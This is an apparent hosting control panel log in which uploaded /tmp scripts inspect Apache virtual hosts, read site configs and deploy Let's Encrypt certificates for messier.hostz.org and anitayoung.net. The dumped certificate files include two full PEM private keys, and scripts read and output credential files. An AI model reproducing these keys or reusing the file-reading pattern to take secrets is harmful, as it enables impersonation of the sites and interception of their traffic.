chmod 755 /tmp/pkp109078; /tmp/pkp109078; rm /tmp/pkp109078
2025-09-26 06:00:23:
.
2025-09-26 06:00:23: Establishing a connection
2025-09-26 06:00:24:
PUT: /tmp/pkp973912
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:00:25:
chmod 755 /tmp/pkp973912; /tmp/pkp973912; rm /tmp/pkp973912
2025-09-26 06:00:25:
[Fri Sep 26 06:00:25.844832 2025] [so:warn] [pid 3660346:tid 139683631868224] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Fri Sep 26 06:00:25.844832 2025] [so:warn] [pid 3660346:tid 139683631868224] AH01574: module status_module is already loaded, skipping
2025-09-26 06:00:25:
PUT: /tmp/pkp124610
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/hostz_messier.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:26:
chmod 755 /tmp/pkp124610; /tmp/pkp124610; rm /tmp/pkp124610
2025-09-26 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:26:
PUT: /tmp/pkp509627
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:27:
chmod 755 /tmp/pkp509627; /tmp/pkp509627; rm /tmp/pkp509627
2025-09-26 06:00:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt 5356
bc:ac:2f:96:53:d3:97:97:81:4d:ce:74:00:47:62:fc
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWp8+6T+uPSMzQ7a9g3X5AAJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMTQzWhcNMjUxMjI1MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJ113fwEUG2x/58FamR9Phqtdw0KxodjlCHdD14DugX2dIW/qpIc45f84HZ4
o56U6ebCl1g8EZUEhgEl3GtQoldY0osIXUO2198CbFYS6oi3u4wvzi9ihQ1/88nF
mblNtbSeE6YFMbO1MKnOvGXYKXrEnbBuOA6vQ/ph7UtIq1lvzcidWZWOUbFkngO0
LP574OyhdG8omT4lIm+Ysd0BN+MvLB5TG2ReRsxtxpZcY4rsJaLR7RqcpQ3/dCqh
OwbrvJmrRNU+iGN839xq+D+z5uw7lCMbbMQpSLXM7ckqpSXLDa7a2gf/25W0MHN3
jF2Ua+9XIf5ml/kmdh1sWQ6OqfcCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUyvTPhYJcrQfawAUhG5j8uLYRL9gwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEwLmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmYSbl0kAAAQDAEgw
RgIhAJSKe/jbMh0gh+caSmWetSoF5jBuH82dX17fGB9HTIcwAiEAhYomwsLm/kY0
AzsETncKCEmfvqaCR8xyHIg7pwXiwO4AdwCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/
L99FWfYnTzqEVAAAAZmEm58YAAAEAwBIMEYCIQCIs43nontbOwJAVB7KiLRaqp0s
PoC4oYs+h4BaDLGUyAIhAIGCdnYE03sPFuV/7e8Q0lCmKpz+h2u50lj8bIpDeD/Z
MA0GCSqGSIb3DQEBCwUAA4IBAQAGlzvUr7NFBQf2Qs4ZkgxB/X7YpqjJSkR78I37
UqTrXEe8ZltZCZ+zo62Eotct/E4Eu5Ujl/1n/qyVU8e29AX4THPvZ7nI9SswoHvm
SwnR5PMrt5Rw5QkIYeFzTW7XHzWXM7eZ8WYRggxgm71/08hP93tX48AsKeMxqbwr
dWuPBIr+EvcoAZ49cXtnsBTml+SjZA8pmDvWHnQQmji4jiB54VEzJRgFCbW2I9MO
pkYD/YM5w+T3vhQ0VLh96pyGbKn2lr/h2lvYPHlMBrUgeJFv145kI/g1tABrR/FM
8ynJiA/p4Taqn12tJxUZfhah2uI9jAkJno9yrVUXZV88bFIs
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCddd38BFBtsf+f
BWpkfT4arXcNCsaHY5Qh3Q9eA7oF9nSFv6qSHOOX/OB2eKOelOnmwpdYPBGVBIYB
JdxrUKJXWNKLCF1DttffAmxWEuqIt7uML84vYoUNf/PJxZm5TbW0nhOmBTGztTCp
zrxl2Cl6xJ2wbjgOr0P6Ye1LSKtZb83InVmVjlGxZJ4DtCz+e+DsoXRvKJk+JSJv
mLHdATfjLyweUxtkXkbMbcaWXGOK7CWi0e0anKUN/3QqoTsG67yZq0TVPohjfN/c
avg/s+bsO5QjG2zEKUi1zO3JKqUlyw2u2toH/9uVtDBzd4xdlGvvVyH+Zpf5JnYd
bFkOjqn3AgMBAAECggEAM3lEiA4g/LsjhSiQDymiE7aBJJJRNBEpa6iITYOKXEik
7tQpPnqTLCxOdGwbkMu9auJR91YrqTtBUz69P5esekFfEnQ5iNlM2GpCYCDu6qKl
fL5j+LmMJU2etGcUSa9Npy3F3o/0H3sr3Vbn36M6bBe6NOLTEHnbDw7UM7gdy65t
jGBztXkYooogJPIyD5OSfBD6iJyxnBVVUjkEjJKeaSb63PSTeqrR3a0jqFSLhsLo
zDS5ORDJs9T6SUlBWrk5BJ/RYfX6CjsMJ+S3u7DTDpClVXqw02Ko4M4EJ1m7hUGE
gkfoScNdbHEL2kbClWwo+x1/UsTY1IfxY9LOAhpfgQKBgQDQOQbGdWbHg/DcuTn5
i74K2GeKfT6SSk3twk2slwdZIxrv8Y9fQt9tY5eargD+t9LBj+NJF1sO7h9YLMgo
U1K3miR/U6ZXxJ0stslVPcElLj07JgGghDY7JgFko1cQgmM8mh7f+9Ylwqlc/U2K
kDYEJulDywAYPjzqsvKpMEBOKwKBgQDBlxGB2RImPRi3vh4n9K6EQU4Z0YRibSlm
S525ThyI9Sosc1HIL0gFFwUwDGS3SFDXLetTW6gHonjj/pID7r1M6Q1LstU5/H6x
AkBTqPGf6MZ5ateSV85jvu+cZMCeZqSwV7FVzCrFgQqJJUK1LoHLTf3mCUoQicST
HS97/3j5ZQKBgH+QUDxJNHxKsscmmwPsvrK6PUS00h6hcviULy3rIM9VGG2jWaiM
uYC0oO5cZ7OlPnLjCeV/b4PIEl/cn4tE8MoWnwF6Z9AhXgFEwjd8q9VxbIXOFPUX
ynmWIQhcoTw2BUHdUcj66gkcJtIXROf8zXrhs8qalSZFCuDmXI+WRe8dAoGAMLT6
oank6BwNIQXDfpgQZJQtu088uKrwdJ1n1Jyzjz3n24E0PWKwAx/UnU8w8/BM7qbO
A44XC7y0H+EICddCZ5xnTPl0rn85vP1tA9+I04v0i8326QoQkoYSsU2kLPZ0Ty3x
Hz4cMM8TwIfQbdeCro0z6XHC4cBX5g+8x7zySgUCgYBxdbsWew6O5UAIV2UufQBj
S0nn5/YGKoMx0z0ofEHGCwcAJcRrv2ZSXO33nurPHP/Hbf2VwWeDzAF8Zh0r+hvX
TPGNSbUxRvab542L1vnasqFdVv7sQCpQpCA2CbJSYjp0ay5hh5YxLnWT2+JAdcRi
pgTxTT1SwyVPL4SP6eb+Ig==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-26 06:00:27: Establishing a connection
2025-09-26 06:00:27: Establishing a connection
2025-09-26 06:00:27:
PUT: /tmp/pkp839308
#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:00:28:
chmod 755 /tmp/pkp839308; /tmp/pkp839308; rm /tmp/pkp839308
2025-09-26 06:00:28:
1
2025-09-26 06:00:28: Establishing a connection
2025-09-26 06:00:28:
PUT: /tmp/pkp940429
#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc
2025-09-26 06:00:28:
chmod 755 /tmp/pkp940429; /tmp/pkp940429; rm /tmp/pkp940429
2025-09-26 06:00:28:
2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:32:
PUT: /tmp/pkp692758
#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm QmI_sDNc1S3ls_WkuBVeQwHuGrsuCvGyoD-nyQxE3cc
2025-09-26 06:00:32:
chmod 755 /tmp/pkp692758; /tmp/pkp692758; rm /tmp/pkp692758
2025-09-26 06:00:32:
2025-09-26 06:00:32: Establishing a connection
2025-09-26 06:00:32:
PUT: /tmp/pkp506004
#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt
cat > $temp_file <<'endmsg'
d2:ed:b6:d9:73:49:6f:ad:20:c0:11:43:37:66:6a:40
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUvS1B7cSxXtoT6sALw1b+byMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjAxWhcNMjUxMjI1MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALHcHeJt10Uhpet8s0lmLzFehpCTzwDW7ZnYy0eGUkRYxEOB7JvzE4FZFVLBpYKr
t+Mjn7GnX/SezM4SHIXxNbHriZi2mBiv6pRYsFMzfHxlzg31wWrAhAjJE71+hu9R
04KdcAHjL8cnfadEvztivqzZGPbWdztVpZhAu/kn41j7Kjs10eQVUzjeVw/kUp5/
nmi3l6WK0MoW0DuSYx1DP/GZO+Mx2OVTInZ9dBsonz0O64+F8VBQY8A5E3jTFoOe
S+VZXt+wSKzKArYYXOxf/aPVcLRlreu7+uCJv83wdZXTYxr5ufwIjY/8/II0bsXJ
PgwTKj4LzKvGX2rZ/YTnMyECAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUq86A/F2OwwbXzOtJafAyLG/WepcwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzExNS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCkQsUG
SWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZmEm99GAAAEAwBGMEQCIGy7
H5Xiec5rfyeJv7bCM6hTQ8nEFTP5oGaAbW6Z0NGSAiAC5GaKDElnL5dM+9UTKGpT
mhljwl0KHmfCgVJpZcy3swB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+
TA2wAAABmYSb318AAAQDAEgwRgIhAPXSbHlUH0MjtRgq8W6KwpzXZfhiKTXcnPp8
3MRqOJVkAiEAqGDhwkDbCDHWvMXyrmdBVRd8yQXgMn9Xck+a8y3CdIowDQYJKoZI
hvcNAQELBQADggEBACYnXSyLRV7KQq7YD1o12LMHORycxhS4ugnlRbRkpqBvNL4O
Tnx/Vk2ktZMkn9C2nuu67cjxMFu3u1km9DJcER9XiBRz5MzgJ5E0FqFprwXlHhJP
2DPJ4jR/NaC7tYd0j1TCJ/tHOQVpLOB3RBhmwq7OEUjeu0S5Sn1rQBYTsQYskXY1
Vi7qVzk+7cfSVBnuwlZFip2jvo7M8UMDe0ZXPqh98RfJtHtpipduLAHYHtvIw+Su
obi9SaIh7MUoIU21g2Yt5p620CDCzE5ieyedoEDzMhFCYRr/WEKLIMl/6NMBA+Ae
gjNqGXTRq83aTkKW3Y8x0ZsMEJnoocDl5uXVzUU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCx3B3ibddFIaXr
fLNJZi8xXoaQk88A1u2Z2MtHhlJEWMRDgeyb8xOBWRVSwaWCq7fjI5+xp1/0nszO
EhyF8TWx64mYtpgYr+qUWLBTM3x8Zc4N9cFqwIQIyRO9fobvUdOCnXAB4y/HJ32n
RL87Yr6s2Rj21nc7VaWYQLv5J+NY+yo7NdHkFVM43lcP5FKef55ot5elitDKFtA7
kmMdQz/xmTvjMdjlUyJ2fXQbKJ89DuuPhfFQUGPAORN40xaDnkvlWV7fsEisygK2
GFzsX/2j1XC0Za3ru/rgib/N8HWV02Ma+bn8CI2P/PyCNG7FyT4MEyo+C8yrxl9q
2f2E5zMhAgMBAAECggEBAKUrcgE92iUUC1517pViNL9XNgX7jcgM0JgHsTeZ8LoR
6Sl79XwZr2p2jQvOU2LXDyz7fyje84hbFHzmauCkUSYKQzyzjOmYLHNZLV4GuTtY
25MxP05gu/zgptlaL/r9dTud8099aHg9Hz5/5EtE9yfTcJCCODW84sxSiX3nYgTV
pa08sND7XAOJ4R7354eddnHJiK7umqCJrKkAH1hwfw0WL3eRPcoOM9HLxYJcELzQ
xmNQ+lsj9M+wjZXWxB16EKbVev/uvVAzgczIDHlgR48CwXxR7mx8lXlHnQ4Sq8WW
osU0N+Xkdx4nxXrqN1ijxxG3Buov0o0NKk3TMcATOcECgYEA4mQftn38TLga8WzW
G8J6BWHnlNg/4PiQgEBqJt9m9x+UwUQwBh6b1kA337W4UPROc17kHSGeoCfgRwun
EtOvcmKEMnXanvkGPdNc3B41kcwn4gR2Sw2heyM7v+6ObVZUoL6My2W44bN4ui1/
qm20ccJUqwNoBF/PwpkfpzB4n2kCgYEAyR8Z2bTDay5s3trbNN80wSDkSIpfll/9
sNY8MVp1t0ATEpIds4SWtTBUeziQOzNfjAOPXmWcUPh1nWK8Dz7B403D8OJQD6i7
enu6orTVCJSzGniMhbLA13vMrNqimpe94s4RPQAqZAtleYTZPAskpx1nsWjOGmiX
t4EMgDPUNvkCgYEAsLBuI9LuL75coOJNtLqy2zKPOJcSO/YjaUVc09v2E5ddVP1v
8ca/35adRQchxGT4OYjsxmOv1tVocGqCyenW+5IyFOPwbbRzj5s/1TfqnVDWK8tJ
u8f2qRFVl7WLCYCgahht8G0Cv3yAE+ZgxlX6x/JgfFwbOZbBouI5VxY4fkkCgYEA
roFtzJgrdzQxAqyixp1lCK2hZc+qYK+pT2aTk78JpJbT9akSXFEO8uecZc4OV0+b
98CfBSjlGNx8MLMauZ+aW7994+R50xx0jzIMHmEI9wkO3kj6pIcVC+M/FDwgGkLP
X5utGWCrZ2L8CRRb6N1CUD4TWru1GPTnrzEpx5Mw7wECgYEAtMaSHFDAyal/WFe/
ZPCWyeJuPL+Cw5yP+UPI9BmVgWF565WP4We4XC2+GS8iYfbfD2k4GYV/vJj47sO8
M7vKFk/JDHQG7vdrzvXhp3NrrBqn46A1KpNhc2bie3K5dHRhVbVA1yQGa2VeE2x1
fs7uC1V/JCxGtA6o6oM5itw4wA0=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:00:32:
chmod 755 /tmp/pkp506004; /tmp/pkp506004; rm /tmp/pkp506004
2025-09-26 06:00:32:
dir=/etc/ssl/certs
2025-09-26 06:00:32:
PUT: /tmp/pkp158016
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:00:32:
chmod 755 /tmp/pkp158016; /tmp/pkp158016; rm /tmp/pkp158016
2025-09-26 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42
<VirtualHost *:80>
ServerName anitayoung.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/anitayoung_www
<Directory /var/www/anitayoung_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
